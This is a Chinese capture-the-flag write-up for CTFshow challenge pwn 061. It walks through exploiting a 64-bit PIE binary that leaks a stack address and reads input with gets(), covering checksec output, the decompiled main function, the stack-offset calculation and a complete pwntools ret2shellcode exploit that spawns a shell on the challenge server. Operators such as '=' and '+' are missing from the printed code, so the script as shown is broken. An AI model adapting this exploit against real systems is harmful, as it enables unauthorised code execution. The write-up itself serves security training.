【CTFshow-pwn系列】03_栈溢出【pwn 061】详解:64位 PIE 环境下的 Ret2Shellcode 实战

张开发
2026/5/30 5:49:39 15 分钟阅读
【CTFshow-pwn系列】03_栈溢出【pwn 061】详解:64位 PIE 环境下的 Ret2Shellcode 实战
本文仅用于技术研究禁止用于非法用途。Author:枷锁在之前的系列文章中我们处理的多是 32 位程序或是关闭了 PIE地址随机化的题目。但 CTF 的进化从未停止。今天我们要面对的pwn 061标志着我们正式跨入了64 位进阶利用的大门。本题的考点非常明确且硬核PIE 绕过、64 位栈布局分析、以及 Ret2Shellcode 的终极演练。当程序主动把它的“底牌”内存地址翻给你看时你是否能接住这泼天的富贵题目信息与环境侦察1. 检查保护机制 (checksec)首先我们要对目标进行全方位的扫描。~/Desktop .............................................................. at 21:00:00 checksec pwn [*] /home/shining/Desktop/pwn Arch: amd64-64-little -- 64 位 CPU 架构 RELRO: Partial RELRO Stack: No canary found -- 依然没有金丝雀拦截溢出 NX: NX unknown - GNU_STACK missing -- 栈权限确认为 RWX (可执行) PIE: PIE enabled -- 【重难点】开启了位置无关执行 Stack: Executable RWX: Has RWX segments -- 存在可读可写可执行段 Stripped: No战术分析64 位架构寄存器位宽和栈操作变为 8 字节地址也是 8 字节。PIE 开启这意味着程序每次运行其代码段和数据段的基地址都会发生变化。我们不能在脚本里硬编码任何0x400xxx的地址。NX 缺失 RWX 段这是出题人留下的后门。虽然地址在变但只要我们能通过某种手段获取当前运行时的地址就能把 Shellcode 注入并执行。第一部分代码审计与漏洞定位1. 静态分析 (IDA Pro)拖入 IDA 64-bit直奔main函数。代码逻辑非常简洁却暗藏玄机int __fastcall main(int argc, const char **argv, const char **envp) { FILE *v3; // rdi _QWORD v5[2]; // [rsp0h] [rbp-10h] BYREF -- v5 在栈上的位置 v5[0] 0; v5[1] 0; v3 stdout; setvbuf(stdout, 0, 1, 0); logo(v3, 0); puts(Welcome to CTFshow!); // 【漏洞点 1关键地址泄露】 // 程序竟然主动打印了 v5 的地址由于 v5 是局部变量这实际上泄露了当前【栈】的绝对地址。 printf(Whats this : [%p] ?\n, v5); puts(Maybe its useful ! But how to use it?); // 【漏洞点 2栈溢出】 // gets 函数不检查长度而 v5 只有 16 字节_QWORD v5[2]。 gets(v5); return 0; }核心逻辑程序虽然开启了 PIE 增加了难度但却通过一个printf([%p])告诉了我们它在内存中的实时坐标。这就像是你玩捉迷藏对方虽然蒙着眼睛乱跑但他一直在大声喊“我在这”。第二部分64 位栈布局与偏移量计算这是本题最容易翻车的地方。我们需要精确计算从v5的起始位置到返回地址的距离。1. 内存地图可视化在 64 位 Ubuntu 默认编译环境下main函数的栈帧布局如下高地址 ------------------------- | Return Address (8B) | -- 我们的目标劫持到 Shellcode ------------------------- | Saved RBP (8B) | -- 旧的栈底指针 ------------------------- --- RBP (栈底) | v5[1] (8B) | ------------------------- | v5[0] (8B) | --- v5 起始地址 (被打印出来的那个地址) 低地址 ------------------------- --- RSP (栈顶)偏移量推导v5自身长度 16 字节 (0x10)Saved RBP长度 8 字节到达返回地址的总偏移量 16 8 24 字节。2. 为什么 Shellcode 不能放在 v5 开头这是一个进阶知识点。虽然你可以把返回地址改写为v5的首地址但这样做非常危险指令破坏当 Shellcode 运行并执行push指令时它会向低地址压栈。如果 Shellcode 离栈顶太近它压进去的数据可能会覆盖掉自己还没来得及执行的机器码。栈平衡函数退出时会执行leave; ret。leave相当于mov rsp, rbp; pop rbp。这意味着程序返回后RSP会指向返回地址的下一个 8 字节位置。最佳方案将 Shellcode 放在返回地址之后高地址区。这样 Shellcode 在执行压栈操作时会向低地址即我们填充垃圾数据的区域写入绝对不会伤到自己。第三部分实战 EXP 编写与详解from pwn import * # 1. 基础配置 # 64 位题目一定要指定 archamd64 context(arch amd64, os linux, log_level debug) # 2. 建立连接 # io process(./pwn) io remote(pwn.challenge.ctf.show, 28205) # 3. 接收并解析泄露的地址 io.recvuntil(b[) # 接收直到 ]dropTrue 表示不包含 ] v5_addr_str io.recvuntil(b], dropTrue) # 将字符串形式的十六进制地址转换为 Python 整数 v5_addr int(v5_addr_str, 16) success(f探测到实时栈地址: {hex(v5_addr)}) # 4. 构造 Payload # 偏移量v5(16字节) rbp(8字节) 24 padding ba * 24 # 生成 64 位通用的拿到 /bin/sh 的 shellcode shellcode asm(shellcraft.sh()) # 计算 Shellcode 的跳转目标 # 跳转目标 v5_addr 24(padding) 8(返回地址自身长度) v5_addr 32 target_addr v5_addr 32 payload padding p64(target_addr) shellcode # 5. 发送绝杀 # 程序正眼巴巴地等着 gets(v5) 呢 io.sendline(payload) # 6. 获取果实 io.interactive()第四部分原理总结与深度反思1. PIE 环境下的生存法则PIE 虽然让程序基址变得不可预测但它无法防御“由于代码逻辑缺陷导致的地址泄露”。只要程序打印了栈地址、Libc 地址或代码段地址我们就能根据固定偏移推算出整张内存地图。2.leave指令的战术价值理解leave指令对RSP和RBP的操作是理解 64 位栈溢出的基石。在本题中我们利用函数返回后RSP的落点将 Shellcode 放置在受保护的“高地址缓冲区”实现了极高的稳定性。3. 写出稳健的 EXP使用io.recvuntil进行精准匹配以及使用p64保证 8 字节对齐是 Pwn 手的基本功。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。

更多文章